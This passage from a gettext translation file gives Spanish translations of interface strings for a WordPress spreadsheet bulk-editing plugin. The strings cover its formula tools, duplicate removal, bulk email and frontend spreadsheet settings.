function does not exist: %s" msgstr "#PQ8SPQ inválido. La función PHP no existe: %s" #: formulas/formulas.php:123 msgid "" "Invalid #8W23CV. We accept MATH and REPLACE formulas only, we received an " "unknown formula type." msgstr "" "#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un " "tipo de fórmula desconocida." #: formulas/formulas.php:179 msgid "The random values could not be read." msgstr "Los valores aleatorios no pudieron ser leídos." #: formulas/formulas.php:319 msgid "" "The math formula can't be applied. We found some existing data is not " "numeric. Data found: %1$s, ID: %2$d" msgstr "" "No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no " "es numérico. Datos encontrados: %1$s, ID: %2$d" #: formulas/formulas.php:333 msgid "" "Error. The math engine could not execute the math operation: %1$s, ID: %2$d" msgstr "" "Error. El motor matemático no pudo ejecutar la operación matemática: %1$s, " "ID: %2$d" #: formulas/formulas.php:449 msgid "The search parameter must contain $current_value$ only" msgstr "El parámetro de búsqueda debe contener $current_value$ solamente" #: formulas/formulas.php:457 msgid "Value in the replace section is not valid" msgstr "El valor en la sección de reemplazo no es válido" #: formulas/formulas.php:837 msgid "You do not have permission to delete posts." msgstr "No tiene suficientes permisos para borrar filas." #: formulas/formulas.php:882 msgid "Missing number and time unit." msgstr "Falta el número y la unidad de tiempo." #: formulas/formulas.php:886 msgid "Invalid time unit." msgstr "Unidad de tiempo inválida." #: formulas/formulas.php:891 msgid "Please indicate which terms you want to remove." msgstr "Por favor, indica cuáles términos quieres remover." #: formulas/formulas.php:897 msgid "Only administrators are allowed to send emails to users." msgstr "" "Solo los administradores pueden enviar correos electrónicos a los usuarios." #: formulas/formulas.php:900 msgid "Please enter the email subject and email message." msgstr "Ingresa el asunto y el mensaje del correo electrónico." #: formulas/formulas.php:904 msgid "The column selected is not valid." msgstr "La columna seleccionada no es válida." #: formulas/formulas.php:954 msgid "" "Error. The status column must be enabled in the spreadsheet before we can " "remove duplicates." msgstr "" "Error. La columna \"Estado\" debe estar habilitada en la hoja de cálculo " "antes de remover los duplicados." #: formulas/formulas.php:1242 wp-sheet-editor/dev/inc/ajax.php:263 #: wp-sheet-editor/dev/inc/api/helpers.php:878 msgid "Error: %s" msgstr "Error: %s" #: formulas/formulas.php:1279 msgid "Bulk edit not executed. No items found matching the criteria." msgstr "" "Cambio masivo no ejecutado. No se han encontrado elementos que cumplan los " "criterios." #: formulas/formulas.php:1296 msgid "

                  Complete

                  ." msgstr "

                  Completo

                  ." #: formulas/formulas.php:1313 msgid "" "

                  Editing the field: " "{column_label}. Items to process: {total}, Progress: " "{progress_percentage}%%, We have updated {edited} items.

                  " msgstr "" "

                  Editando el campo: " "{column_label}. Filas a procesar: {total}, Progreso: " "{progress_percentage}%%, Hemos actualizado {edited} filas.

                  " #: formulas/inc/ui.php:70 formulas/inc/ui.php:176 msgid "Bulk Edit" msgstr "Editor Masivo" #: formulas/inc/ui.php:73 msgid "Using this tool you can update thousands of rows at once" msgstr "Usando esta herramienta puedes editar miles de filas a la vez" #: formulas/inc/ui.php:74 msgid "Need help? Check our tutorials" msgstr "¿Necesitas ayuda? Consulta nuestros tutoriales" #: formulas/inc/ui.php:79 msgid "Select the rows that you want to update." msgstr "Selecciona las filas que quieres editar." #: formulas/inc/ui.php:82 msgid "Edit all the rows from my current search (including non-visible rows)." msgstr "" "Editar todas las filas de mi búsqueda actual (incluyendo las filas no " "visibles)." #: formulas/inc/ui.php:83 msgid "I want to search rows to update and edit all the search results" msgstr "" "Quiero buscar las filas a editar y editar todos los resultados de la búsqueda" #: formulas/inc/ui.php:84 msgid "Edit the rows that I selected manually in the spreadsheet." msgstr "" "Editar las filas que he seleccionado manualmente en la hoja de cálculo." #: formulas/inc/ui.php:85 msgid "Edit the same rows that I manually selected previously" msgstr "Editar las mismas filas que seleccioné manualmente previamente" #: formulas/inc/ui.php:87 msgid "Make another search" msgstr "Hacer otra búsqueda" #: formulas/inc/ui.php:95 msgid "What field do you want to edit?" msgstr "¿Qué campo quieres editar?" #: formulas/inc/ui.php:96 formulas/inc/ui.php:101 #: universal-sheet/views/export-modal.php:26 msgid "Select column..." msgstr "Selecciona la columna...." #: formulas/inc/ui.php:98 msgid "" "A column is missing? Enable it" msgstr "" "¿Falta una columna? Habilítala " #: formulas/inc/ui.php:110 msgid "Use slower execution method?" msgstr "¿Usar un método de ejecución más lento?" #: formulas/inc/ui.php:110 msgid "" "The default way uses a faster execution method, but it might not work in all " "the cases. Use this option when the default way doesn't work or doesn't " "update all the posts." msgstr "" "La forma predeterminada usa un método de ejecución más rápido, pero puede " "que no funcione en todos los casos. Usa esta opción cuando la forma " "predeterminada no funciona o no actualiza todas las filas." #: formulas/inc/ui.php:115 msgid "%s rows will be edited." msgstr "%s filas serán editadas." #: formulas/inc/ui.php:115 msgid "You can select the rows for the edit in the first option of this form." msgstr "" "Puedes seleccionar las filas a editar en la primera opción de este " "formulario." #: formulas/inc/ui.php:126 msgid "I have a database backup, Execute Now" msgstr "Tengo una copia de seguridad de la base de datos. Ejecutar Ahora" #: formulas/inc/ui.php:128 msgid "Execute Now" msgstr "Ejecutar Ahora" #: formulas/inc/ui.php:135 msgid "" "

                  1- Please backup your database before executing, the changes are not " "reversible.

                  2- Make sure the bulk edit settings are correct before " "executing.

                  " msgstr "" "

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de " "ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los " "ajustes de la edición masiva son correctos antes de ejecutar.

                  " #: formulas/inc/ui.php:137 msgid "" "Careful. The changes are not reversible. Please double check proceeding." msgstr "" "Cuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el " "procedimiento." #: formulas/inc/ui.php:144 msgid "" "The bulk edit is running. Please dont close this window until the process " "has finished." msgstr "" "El cambio masivo se está ejecutando. Por favor, no cierres esta ventana " "hasta que el proceso haya terminado." #: formulas/inc/ui.php:146 msgid "" "Tip: The formula execution is too slow? Save more posts per batch
                  Are you getting " "errors when executing the formula? Save " "less posts per batch" msgstr "" "Consejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote " #: formulas/inc/ui.php:149 universal-sheet/views/export-modal.php:78 #: universal-sheet/views/import-modal.php:227 msgid "Pause" msgstr "Pausar" #: formulas/inc/ui.php:149 wp-sheet-editor/dev/views/quick-setup.php:78 #: wp-sheet-editor/dev/views/quick-setup.php:102 msgid "Go back" msgstr "Atrás" #: formulas/inc/ui.php:151 msgid "Processing..." msgstr "Procesando..." #: formulas/inc/ui.php:187 msgid "Edit" msgstr "Editar" #: formulas/inc/ui.php:206 msgid "Remove duplicates by title (delete the latest)" msgstr "Borrar los duplicados por título (quitar los más nuevos)" #: formulas/inc/ui.php:214 msgid "Remove duplicates by title (delete the oldest)" msgstr "Borrar los duplicados por título (quitar los más antiguos)" #: formulas/inc/ui.php:222 msgid "Remove duplicates with same title and content (delete the latest)" msgstr "" "Borrar duplicados con el mismo título y el mismo contenido (quitar los más " "nuevos)" #: formulas/inc/ui.php:230 msgid "Remove duplicates with same title and content (delete the oldest)" msgstr "" "Borrar duplicados con el mismo título y el mismo contenido (quitar los más " "antiguos)" #: formulas/inc/ui.php:255 msgid "More options" msgstr "Más opciones" #: formulas/inc/ui.php:300 msgid "The bulk edit is missing important information, please fill the form." msgstr "" "A la edición masiva le falta información importante, por favor, completa el " "formulario." #: formulas/inc/ui.php:301 msgid "Select type of edit" msgstr "Selecciona el tipo de edición" #: formulas/inc/ui.php:302 msgid "- -" msgstr "- -" #: formulas/inc/ui.php:303 msgid "You entered an invalid formula. Please double check or contact us." msgstr "" "Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos." #: formulas/inc/ui.php:308 msgid "Remove terms from posts" msgstr "Remover términos de los posts" #: formulas/inc/ui.php:309 msgid "" "Enter one or multiple term names separated with %s or new lines. Enter the " "full hierarchy like \"Parent > Child\" to remove subcategories" msgstr "" "Ingresa uno o más términos separados por %s o uno nuevo en cada línea. " "Ingresa la jerarquía completa como \"Padre > Hijo\" para remover " "subcategorías" #: formulas/inc/ui.php:323 msgid "Add time to existing dates" msgstr "Agregar tiempo a las fechas existentes" #: formulas/inc/ui.php:324 msgid "" "Add hours, days, weeks, months, or years to the existing dates.
                  If the " "existing date is empty, we will use the current date as a base." msgstr "" "Agrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la " "fecha existente está vacía, usaremos la fecha actual como base." #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Hours" msgstr "Horas" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Days" msgstr "Días" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Weeks" msgstr "Semanas" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Months" msgstr "Meses" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Years" msgstr "Años" #: formulas/inc/ui.php:345 formulas/inc/ui.php:373 msgid "Time unit" msgstr "Unidad de tiempo" #: formulas/inc/ui.php:351 msgid "Deduct time from existing dates" msgstr "Deducir tiempo de las fechas existentes" #: formulas/inc/ui.php:352 msgid "" "Deduct a number of hours, days, weeks, months, or years to the existing " "dates.
                  If the existing date is empty, we will use the current date as a " "base." msgstr "" "Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si " "la fecha existente está vacía, usaremos la fecha actual como base." #: formulas/inc/ui.php:379 msgid "Math operation" msgstr "Operación matemática" #: formulas/inc/ui.php:380 msgid "" "Update existing value with the result of a math operation.
                  The result is " "rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Actualiza el valor existente con el resultado de una operación matemática." "
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, " "3,845602 se convierte en 3,85" #: formulas/inc/ui.php:392 msgid "Math formula" msgstr "Fórmula matemática" #: formulas/inc/ui.php:393 msgid "" "Example 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 " "(Set regular price - 30%)" msgstr "" "Ejemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 " "(Establecer precio normal - 30%)" #: formulas/inc/ui.php:400 woocommerce/woocommerce.php:242 msgid "Decrease by percentage" msgstr "Disminuir en porcentaje" #: formulas/inc/ui.php:401 msgid "" "Decrease the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Disminuye el valor existente en un porcentaje.
                  El resultado se redondea a " "los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85" #: formulas/inc/ui.php:414 formulas/inc/ui.php:435 #: woocommerce/woocommerce.php:225 msgid "Decrease by" msgstr "Disminuir en" #: formulas/inc/ui.php:415 formulas/inc/ui.php:457 msgid "Enter the percentage number." msgstr "Ingresa el número del porcentaje." #: formulas/inc/ui.php:421 msgid "Decrease by number" msgstr "Disminuir en número" #: formulas/inc/ui.php:422 msgid "" "Decrease the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Disminuye el valor existente en un número.
                  El resultado se redondea a los " "2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85" #: formulas/inc/ui.php:436 formulas/inc/ui.php:478 formulas/inc/ui.php:596 msgid "Enter the number." msgstr "Ingresa el número." #: formulas/inc/ui.php:442 msgid "Increase by percentage" msgstr "Incrementar en porcentaje" #: formulas/inc/ui.php:443 msgid "" "Increase the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a " "los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85" #: formulas/inc/ui.php:456 formulas/inc/ui.php:477 msgid "Increase by" msgstr "Incrementar en" #: formulas/inc/ui.php:463 msgid "Increase by number" msgstr "Incrementar en número" #: formulas/inc/ui.php:464 msgid "" "Increase the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aumenta el valor existente en un número.
                  El resultado se redondea a los 2 " "decimales más cercanos. Es decir, 3.845602 se convierte en 3.85" #: formulas/inc/ui.php:484 msgid "Set value" msgstr "Establecer valor" #: formulas/inc/ui.php:485 msgid "" "Replace existing value with this value. Read more" msgstr "" "Reemplazar el valor existente por este valor. Leer más" #: formulas/inc/ui.php:499 msgid "Set random value" msgstr "Establecer valor aleatorio" #: formulas/inc/ui.php:500 msgid "" "Replace existing value with a random value from this list. Enter the values " "separated with | if you want to select from a predefined list, or enter 2 " "dates separated with > if you want to select any date from that range" msgstr "" "Reemplazar el valor existente por un valor aleatorio de esta lista. Ingresa " "los valores separándolos con | si quieres seleccionar de una lista " "predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar " "cualquier fecha de ese rango." #: formulas/inc/ui.php:518 msgid "Remove everything after some text" msgstr "Eliminar todo lo que aparece después de un texto" #: formulas/inc/ui.php:519 msgid "" "I.e. A value like \"My great title (234343)\" can become \"My great title\" " "by removing everything after \" (\"" msgstr "" "Es decir, un valor como \"Mi gran título (234343)\" puede convertirse en " "\"Mi gran título\" eliminando todo lo que aparece después de \" (\"" #: formulas/inc/ui.php:528 msgid "Remove everything after this text" msgstr "Eliminar todo lo que aparece después de este texto" #: formulas/inc/ui.php:531 msgid "Remove the text too?" msgstr "¿Eliminar el texto también?" #: formulas/inc/ui.php:533 msgid "Yes, remove everything after the text, including the text" msgstr "" "Sí, eliminar todo lo que aparece después del texto, incluyendo el texto" #: formulas/inc/ui.php:533 msgid "No, remove everything after the text, without including the text" msgstr "" "No, eliminar todo lo que aparece después del texto, sin incluir el texto" #: formulas/inc/ui.php:539 msgid "Remove everything before some text" msgstr "Eliminar todo lo que aparece antes de un texto" #: formulas/inc/ui.php:540 msgid "" "I.e. A value like \"(234343) My great title\" can become \"My great title\" " "by removing everything before \") \"" msgstr "" "Por ejemplo, un valor como \"(234343) Mi gran título\" puede convertirse en " "\"Mi gran título\" eliminando todo lo que precede a \") \"." #: formulas/inc/ui.php:549 msgid "Remove everything before this" msgstr "Eliminar todo lo que aparece antes de esto" #: formulas/inc/ui.php:552 msgid "Remove the text from above too?" msgstr "¿Quitar también el texto de arriba?" #: formulas/inc/ui.php:560 formulas/inc/ui.php:1005 msgid "Replace" msgstr "Reemplazar" #: formulas/inc/ui.php:561 msgid "" "Replace a word, phrase, or number with a new value. Read more" msgstr "" "Reemplaza una palabra, frase o número con un nuevo valor. Leer más" #: formulas/inc/ui.php:570 formulas/inc/ui.php:1079 msgid "Replace this" msgstr "Reemplazar esto" #: formulas/inc/ui.php:574 formulas/inc/ui.php:1084 msgid "With this" msgstr "Con esto" #: formulas/inc/ui.php:580 msgid "Generate excerpt" msgstr "Generar extracto" #: formulas/inc/ui.php:581 msgid "" "If the column has a very long text, we will remove the html and shorten it " "to a number of words." msgstr "" "Si la columna tiene texto demasiado largo, borraremos el HTML y lo " "acortaremos a un número de palabras." #: formulas/inc/ui.php:595 msgid "Maximum number of words" msgstr "Número máximo de palabras" #: formulas/inc/ui.php:602 msgid "Capitalize words" msgstr "Poner en mayúsculas las palabras" #: formulas/inc/ui.php:603 msgid "" "Capitalize the first letter of every word in the field. I.e. convert \"my " "title\" into \"My Title\"." msgstr "" "Poner en mayúsculas la primera letra de cada palabra del campo. Es decir, " "convertir \"mi título\" en \"Mi Título\"." #: formulas/inc/ui.php:623 msgid "" "Remove the existing value and leave the field empty. Read more" msgstr "" "Eliminar el valor existente y dejar el campo vacío. Leer más" #: formulas/inc/ui.php:642 msgid "Remove duplicates" msgstr "Eliminar duplicados" #: formulas/inc/ui.php:643 formulas/inc/ui.php:660 msgid "" "Read " "more" msgstr "" "Leer más." "" #: formulas/inc/ui.php:651 formulas/inc/ui.php:668 msgid "Which duplicates do you want to delete?" msgstr "¿Qué duplicados quieres eliminar?" #: formulas/inc/ui.php:653 formulas/inc/ui.php:670 msgid "Delete the newest items and keep the oldest item" msgstr "Borrar los elementos nuevos y mantener el elemento más antiguo" #: formulas/inc/ui.php:653 formulas/inc/ui.php:670 msgid "Delete the old items and keep the newest item" msgstr "Borrar los elementos antiguos y mantener el elemento más reciente" #: formulas/inc/ui.php:659 msgid "Remove duplicates with same title and content" msgstr "Borrar duplicados por título (quitar los más nuevos)" #: formulas/inc/ui.php:676 msgid "Append" msgstr "Añadir al final" #: formulas/inc/ui.php:685 msgid "Enter the value to append to the existing value." msgstr "Ingresa el valor a añadir al final del valor existente." #: formulas/inc/ui.php:691 msgid "Prepend" msgstr "Añadir al inicio" #: formulas/inc/ui.php:703 msgid "Enter the value to prepend to the existing value." msgstr "Ingresa el valor para añadir al inicio del valor existente." #: formulas/inc/ui.php:709 msgid "Custom formula" msgstr "Fórmula personalizada" #: formulas/inc/ui.php:721 msgid "" "Only for advanced users. Read more." msgstr "" "Sólo para usuarios avanzados. Leer más." #: formulas/inc/ui.php:727 msgid "Send email" msgstr "Enviar correo electrónico" #: formulas/inc/ui.php:728 msgid "" "

                  Send email notifications to users in bulk, and create advanced segments " "using the advanced search.

                  For example, you can filter a spreadsheet " "of customers/users/forum users/affiliates/blog commenters by country, city, " "state, orders count, etc and send them important emails.

                  We recommend " "that you use a SMTP plugin to improve the email deliverability and take into " "account the users consent and privacy laws.

                  " msgstr "" "

                  Envía notificaciones por correo electrónico a los usuarios de forma " "masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/" "miembros de un foro/afiliados/comentaristas del blog por país, ciudad, " "estado, recuento de pedidos, etc., y enviarles correos electrónicos " "importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar " "la entrega de los correos electrónicos y tener en cuenta el consentimiento " "de los usuarios y las leyes de privacidad.

                  " #: formulas/inc/ui.php:740 msgid "Email subject" msgstr "Asunto del correo electrónico" #: formulas/inc/ui.php:740 msgid "You can use variables to insert the value of any column." msgstr "Puedes utilizar variables para insertar el valor de cualquier columna." #: formulas/inc/ui.php:747 msgid "Email message" msgstr "Mensaje del correo" #: formulas/inc/ui.php:747 msgid "" "We recommend that you create a message that looks like it was written " "personally, you should add your logo, message, and email signature. You can " "use variables to insert the value of any column." msgstr "" "Te recomendamos que crees un mensaje que parezca escrito personalmente, " "debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes " "utilizar variables para insertar el valor de cualquier columna." #: formulas/inc/ui.php:754 msgid "Reply to" msgstr "Responder a" #: formulas/inc/ui.php:754 msgid "People will reply to this email address" msgstr "Los receptores responderán a esta dirección de correo electrónico" #: formulas/inc/ui.php:757 msgid "Only send one email per email address?" msgstr "¿Sólo se puede enviar un correo electrónico por dirección?" #: formulas/inc/ui.php:757 msgid "" "One email per user means that if 3 rows have the same email address, only " "one row will trigger an email and the others will be skipped. One email per " "row means that if 3 rows have the same email address, we'll send 3 emails to " "the same address (one per row)." msgstr "" "Un correo electrónico por usuario significa que si 3 filas tienen la misma " "dirección de correo electrónico, sólo una fila activará un correo " "electrónico y las demás se omitirán. Un correo electrónico por fila " "significa que si 3 filas tienen la misma dirección de correo electrónico, " "enviaremos 3 correos electrónicos a la misma dirección (uno por fila)." #: formulas/inc/ui.php:759 msgid "Send one email per user" msgstr "Enviar un correo electrónico por usuario" #: formulas/inc/ui.php:759 msgid "Send one email per row" msgstr "Enviar un correo electrónico por fila" #: formulas/inc/ui.php:765 msgid "PHP Function" msgstr "Función PHP" #: formulas/inc/ui.php:777 msgid "" "For advanced users. Enter the name of your PHP function and we will pass 2 " "parameters: $current_data (string with current value of the column) and " "$row_id, the function must accept the 2 parameters and return the modified " "value as a string. We will automatically save it if the value changed. Read more." msgstr "" "Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 " "parámetros: $current_data (string con el valor actual de la celda) y " "$row_id, la función debe aceptar los 2 parámetros y devolver el valor " "modificado para guardar como string. Automáticamente guardaremos si el valor " "devuelto cambió. Leer más." #: formulas/inc/ui.php:783 msgid "Copy from other columns" msgstr "Copiar de otras columnas" #: formulas/inc/ui.php:788 msgid "" "Copy the value of other fields into this field.
                  Example, copy \"sale " "price\" into the \"regular price\" field." msgstr "" "Copiar el valor de otros campos en este campo.
                  Ejemplo, copiar \"precio " "rebajado\" al campo \"precio normal\"." #: formulas/inc/ui.php:799 msgid "Copy from this column" msgstr "Copiar de esta columna" #: formulas/inc/ui.php:875 msgid "We will replace the existing media file(s) with these file(s)." msgstr "" "Reemplazaremos el/los archivo(s) multimedia existentes con este/estos " "archivo(s)." #: formulas/inc/ui.php:886 formulas/inc/ui.php:911 formulas/inc/ui.php:936 msgid "Upload the files" msgstr "Subir los archivos" #: formulas/inc/ui.php:893 formulas/inc/ui.php:918 formulas/inc/ui.php:943 msgid "File URLs" msgstr "URLs de archivos" #: formulas/inc/ui.php:894 formulas/inc/ui.php:919 formulas/inc/ui.php:944 msgid "Enter the URLs separated by commas. They can be from your own site." msgstr "Ingresa las URL separadas por comas. Pueden ser de tu propio sitio." #: formulas/inc/ui.php:900 msgid "We will prepend the new file(s) to the existing media file(s)." msgstr "" "Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) " "multimedia existente(s)." #: formulas/inc/ui.php:925 msgid "We will append the new file(s) to the existing media file(s)." msgstr "" "Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) " "existente(s)." #: formulas/inc/ui.php:950 formulas/inc/ui.php:1006 msgid "Replace a media file with other file" msgstr "Reemplazar un archivo multimedia por otro archivo" #: formulas/inc/ui.php:959 msgid "Replace these files" msgstr "Reemplazar estos archivos" #: formulas/inc/ui.php:960 formulas/inc/ui.php:968 msgid "Enter the URLs separated by commas. They must be from your own site." msgstr "Ingresa las URL separadas por comas. Deben ser de tu propio sitio." #: formulas/inc/ui.php:967 msgid "With these files" msgstr "Con estos archivos" #: formulas/inc/ui.php:980 msgid "We will replace the existing media file with this file." msgstr "Reemplazaremos el archivo multimedia existente con este archivo." #: formulas/inc/ui.php:991 msgid "Upload the file" msgstr "Subir el archivo" #: formulas/inc/ui.php:999 msgid "" "Enter the URL. It can be an URL from your own site (Example http://site.com/" "wp-content/uploads/2016/01/file.jpg) or an external URL." msgstr "" "Ingresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio." "com/wp-content/uploads/2016/01/file.jpg) o una URL externa." #: formulas/inc/ui.php:1015 msgid "Replace this file" msgstr "Reemplazar este archivo" #: formulas/inc/ui.php:1016 formulas/inc/ui.php:1024 msgid "" "Enter the URL. It must be an URL from your own site. Example: http://site." "com/wp-content/uploads/2016/01/file.jpg" msgstr "" "Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio." "com/wp-content/uploads/2016/01/file.jpg" #: formulas/inc/ui.php:1023 msgid "With this file" msgstr "Con este archivo" #: formulas/inc/ui.php:1062 msgid "We will replace the existing terms with these terms." msgstr "Sustituiremos los términos existentes por estos términos." #: formulas/inc/ui.php:1067 msgid "" "Enter the new terms separated by %s . You can add hierarchy like parent > " "child > child" msgstr "" "Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como " "padre > hijo > hijo" #: formulas/inc/ui.php:1073 msgid "" "Replace some term(s) with new term(s). Read more" msgstr "" "Reemplazar algún/algunos término(s) con término(s) nuevo(s). Leer más" #: formulas/inc/ui.php:1080 formulas/inc/ui.php:1085 msgid "You must enter the full hierarchy like parent > child" msgstr "Debes ingresar la jerarquía completa como padre > hijo" #: formulas/inc/ui.php:1095 msgid "Terms" msgstr "Términos" #: formulas/inc/ui.php:1096 msgid "Enter the full hierarchy like parent > child" msgstr "Debes ingresar la jerarquía completa como padre > hijo" #: frontend-sheet/frontend-sheet.php:74 #: wp-sheet-editor/dev/inc/teasers/frontend.php:56 msgid "Frontend Spreadsheets" msgstr "Hojas de Cálculo Frontend" #: frontend-sheet/frontend-sheet.php:79 msgid "Login message" msgstr "Mensaje de inicio de sesión" #: frontend-sheet/frontend-sheet.php:80 msgid "You need to login to view this page." msgstr "Necesitas iniciar sesión para ver esta página." #: frontend-sheet/frontend-sheet.php:81 msgid "" "This will be displayed when the current user is not logged in and tries to " "see a spreadsheet page. We will display a login form after your message." msgstr "" "Esto se mostrará cuando el usuario actual no esté conectado e intente ver " "una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión " "después del mensaje." #: frontend-sheet/frontend-sheet.php:86 msgid "Hide admin bar on the frontend" msgstr "Ocultar la barra de administración en el frontend" #: frontend-sheet/frontend-sheet.php:87 msgid "" "By default WordPress shows a black bar at the top of the page when a logged " "in user views a frontend page. The bar lets you access the wp-admin, log " "out, edit the current page, etc. If you enable this option we will hide that " "bar and you can use the shortcode: [vg_display_logout_link] to display the " "logout link." msgstr "" "Por defecto, WordPress muestra una barra negra en la parte superior de la " "página cuando un usuario que ha iniciado sesión ve una página del frontend. " "La barra te permite acceder a wp-admin, cerrar sesión, editar la página " "actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar " "el código abreviado: [vg_display_logout_link] para mostrar el enlace de " "cierre de sesión." #: frontend-sheet/frontend-sheet.php:94 msgid "Logo" msgstr "Logo" #: frontend-sheet/frontend-sheet.php:95 msgid "This logo will be displayed above the spreadsheet in the frontend" msgstr "Este logotipo se mostrará encima de la hoja de cálculo en el frontend" #: frontend-sheet/frontend-sheet.php:100 msgid "Menu" msgstr "Menú" #: frontend-sheet/frontend-sheet.php:101 msgid "" "This menu will be displayed at the top right section above the spreadsheet." msgstr "" "Este menú se mostrará en la parte superior derecha de la hoja de cálculo." #: frontend-sheet/frontend-sheet.php:107 msgid "Main Color" msgstr "Color principal" #: frontend-sheet/frontend-sheet.php:108 msgid "This color will be used as background for the header and footer." msgstr "" "Este color se utilizará como fondo para el encabezado y el pie de página." #: frontend-sheet/frontend-sheet.php:115 msgid "Links Color" msgstr "Color de los enlaces" #: frontend-sheet/frontend-sheet.php:116 msgid "" "This color will be used for the menu links, it should be the opposite of the " "background color. i.e. dark background with light text, or light background " "with dark text" msgstr "" "Este color se utilizará para los enlaces del menú, debe ser el opuesto del " "color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con " "texto oscuro" #: frontend-sheet/frontend-sheet.php:213 msgid "Posts" msgstr "Entradas" #: frontend-sheet/frontend-sheet.php:214 msgid "Pages" msgstr "Páginas" #: frontend-sheet/frontend-sheet.php:244 msgid "Quick settings" msgstr "Ajustes rápidos" #: frontend-sheet/frontend-sheet.php:342 #: frontend-sheet/views/backend/metabox.php:48 #: frontend-sheet/views/backend/metabox.php:94 msgid "" " (Premium. Try for Free for 7 Days)" msgstr "" " (Premium. Probar Gratis por 7 Días " ")" #: frontend-sheet/frontend-sheet.php:416 msgctxt "Post Type General Name" msgid "Spreadsheets" msgstr "Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:417 msgctxt "Post Type Singular Name" msgid "Spreadsheet" msgstr "Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:418 frontend-sheet/frontend-sheet.php:445 msgid "Frontend Sheet" msgstr "Hoja de Cálculo Frontend" #: frontend-sheet/frontend-sheet.php:419 msgid "Post Type" msgstr "Post type" #: frontend-sheet/frontend-sheet.php:420 msgid "Spreadsheet Archives" msgstr "Archivos de la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:421 msgid "Spreadsheet Attributes" msgstr "Atributos de la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:422 msgid "Parent Spreadsheet:" msgstr "Hoja de Cálculo Padre:" #: frontend-sheet/frontend-sheet.php:423 msgid "All Spreadsheets" msgstr "Todas las Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:424 msgid "Add New Spreadsheet" msgstr "Agregar Nueva Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:425 msgid "Add New" msgstr "Añadir Nuevo" #: frontend-sheet/frontend-sheet.php:426 msgid "New Spreadsheet" msgstr "Nueva Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:427 msgid "Edit settings" msgstr "Editar ajustes" #: frontend-sheet/frontend-sheet.php:428 msgid "Update settings" msgstr "Actualizar ajustes" #: frontend-sheet/frontend-sheet.php:429 msgid "View Spreadsheet" msgstr "Ver la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:430 msgid "View Spreadsheets" msgstr "Ver las Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:431 msgid "Search Spreadsheet" msgstr "Buscar Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:432 msgid "Not found" msgstr "No encontrado" #: frontend-sheet/frontend-sheet.php:433 msgid "Not found in Trash" msgstr "No se encontró en la Papelera" #: frontend-sheet/frontend-sheet.php:434 #: wp-sheet-editor/dev/inc/api/bootstrap.php:791 msgid "Featured Image" msgstr "Imagen Destacada" #: frontend-sheet/frontend-sheet.php:435 msgid "Set featured image" msgstr "Establecer imagen destacada" #: frontend-sheet/frontend-sheet.php:436 msgid "Remove featured image" msgstr "Eliminar imagen destacada" #: frontend-sheet/frontend-sheet.php:437 msgid "Use as featured image" msgstr "Usar como imagen destacada" #: frontend-sheet/frontend-sheet.php:438 msgid "Insert into item" msgstr "Insertar en el elemento" #: frontend-sheet/frontend-sheet.php:439 msgid "Uploaded to this item" msgstr "Subido a este elemento" #: frontend-sheet/frontend-sheet.php:440 msgid "Spreadsheets list" msgstr "Lista de hojas de cálculo" #: frontend-sheet/frontend-sheet.php:441 msgid "Spreadsheets list navigation" msgstr "Navegación por la lista de hojas de cálculo" #: frontend-sheet/frontend-sheet.php:442 msgid "Filter items list" msgstr "Filtrar elementos de la lista" #: frontend-sheet/views/backend/metabox.php:6 msgid "Need help?" msgstr "¿Necesitas ayuda?" #: frontend-sheet/views/backend/metabox.php:7 msgid 